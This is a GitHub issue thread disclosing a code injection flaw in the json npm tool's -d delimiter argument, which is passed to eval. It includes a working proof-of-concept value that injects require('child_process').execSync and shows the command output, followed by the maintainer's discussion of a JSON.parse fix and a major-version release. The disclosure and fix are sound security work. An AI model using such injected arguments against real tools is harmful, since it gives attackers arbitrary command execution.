Potential Code Injection Vulnerability in -d Argument

[splitline]

If attackers or malicious users can control -d argument, which seems harmless, they can execute arbitrary JavaScript code.

PoC

❯ curl -sL 'https://github.com/gitapi/repos/joyent/node/issues?state=open' \
        | node_modules/json/lib/json.js -a created_at number title -d '""+require(`child_process`).execSync(`id`)//'
2015-08-29T15:29:45Z"uid=501(splitline) gid=20(staff) groups=20(staff),...
25909"uid=501(splitline) gid=20(staff) groups=20(staff),...
Linking with fcgi_stdio.h ?
...

Detail

It use _parseString function to process -d argument, which use eval to evaluate.

json/lib/json.js

Lines 126 to 130 in 27e1ad7

	function _parseString(s) {
	/* JSSTYLED */
	var quoted = '"' + s.replace(/\\"/, '"').replace('"', '\\"') + '"';
	return eval(quoted);
	}

And we can simply escape those replace and execute our malicious code now.
For example, if we use -d '""+console.log(1) //' as an argument, then it will eval "\""+console.log(1) //", which means "a string with a double quote concat with the return value of console.log.

Postscript

Well, actually I don't understand why we need to call _parseString function, I think directly use -d argument input as delimiter is enough 🤔

[trentm]

Thanks! Sorry for the delay.

Well, actually I don't understand why we need to call _parseString function, I think directly use -d argument input as delimiter is enough 🤔

This was added in #26 to support handling escapes. Specifically the example case was to handle wanting TSV output, e.g.:

% echo '{"a" : 1, "b" : "foo"}' | json -ad '\t' a b
1	foo

without that patch:

% echo '{"a" : 1, "b" : "foo"}' | ./lib/json.js -ad '\t' a b
1\tfoo

The fix from 418sec#1 looks sufficient -> #150

[trentm]

Actually that fails tests. Specifically the issue is that with eval(...) we are handling JavaScript escapes (https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String#escape_notation) and with JSON.parse(...) we are handling only JSON escapes (https://tools.ietf.org/html/rfc7159#section-7), which is a subset. Some escapes in JS that aren't allowed in JSON are:

• \0 for the null byte, which is the case that broke tests (see below)
• \u{X}…\u{XXXXXX}
• \xXX
• \'

For example, with current code:

% echo '[{"name":"trent","age":38},{"name":"ewan","age":4}]' | json -a name age -d "\'"
trent'38
ewan'4
% echo '[{"name":"trent","age":38},{"name":"ewan","age":4}]' | json -a name age -d "\0" | xargs -0
trent 38
ewan 4

and with the patch from #150 using JSON.parse:

% echo '[{"name":"trent","age":38},{"name":"ewan","age":4}]' | ./lib/json.js -a name age -d "\'"
json: error: Unexpected token ' in JSON at position 2
[18:13:17 trentm@purple:~/tm/json (git:master rv:1)]
% echo '[{"name":"trent","age":38},{"name":"ewan","age":4}]' | ./lib/json.js -a name age -d "\0" |
xargs -0
json: error: Unexpected number in JSON at position 2

I think ultimately using JSON.parse is a satisfactory change (supporting only JSON escapes in a tool called json sounds fine), with the requirements that I:

• release as a new major ver because backward compat is broken
• add a note to the docs on how to specify a null byte

% echo '[{"name":"trent","age":38},{"name":"ewan","age":4}]' | ./lib/json.js -a name age -d "\u0000" | xargs -0
trent 38
ewan 4

[trentm]

json@11.0.0 released today with this fix. Thanks.
https://www.npmjs.com/package/json